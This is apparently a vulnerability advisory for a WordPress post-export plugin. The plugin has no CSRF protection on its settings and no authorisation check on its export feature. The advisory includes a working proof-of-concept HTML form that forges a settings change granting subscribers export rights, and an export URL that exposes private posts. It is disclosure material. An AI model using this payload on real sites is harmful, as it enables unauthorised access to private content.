The plugin does not have CSRF checks when saving its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and give access to the export feature to any role such as subscriber. Subscriber users would then be able to export an arbitrary post/page (such as private and password protected) via a direct URL Edit: there are two issues: CSRF and lack of authirsartion on the export feature (even unauthorised user can export arbitrary post/page)
To allow Subscriber to export post and page via CSRF <html> <body> <form action="https://example.com/wp-admin/options-general.php?page=single_post_exporter_settings" method="POST"> <input type="hidden" name="userRole[]" value="administrator" /> <input type="hidden" name="userRole[]" value="subscriber" /> <input type="hidden" name="export_post[]" value="post" /> <input type="hidden" name="export_post[]" value="page" /> <input type="hidden" name="submit_export" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> Then, to export a post/page as a subscriber: https://example.com/wp-admin/admin.php?action=export_data&post=1537
Francesco Carlucci
Francesco Carlucci
Yes
2021-11-15 (about 6 months ago)
2021-11-15 (about 6 months ago)
2022-04-11 (about 1 months ago)